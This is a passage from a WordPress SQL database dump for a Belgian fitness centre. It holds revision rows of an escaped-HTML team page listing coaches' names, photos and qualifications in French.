height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;198\&quot; height=\&quot;258\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-01-20 20:38:29', '2014-01-20 20:38:29', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(422, 1, '2014-01-20 20:39:28', '2014-01-20 20:39:28', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2014-01-20 20:39:28', '2014-01-20 20:39:28', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(423, 1, '2014-01-20 20:40:16', '2014-01-20 20:40:16', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td 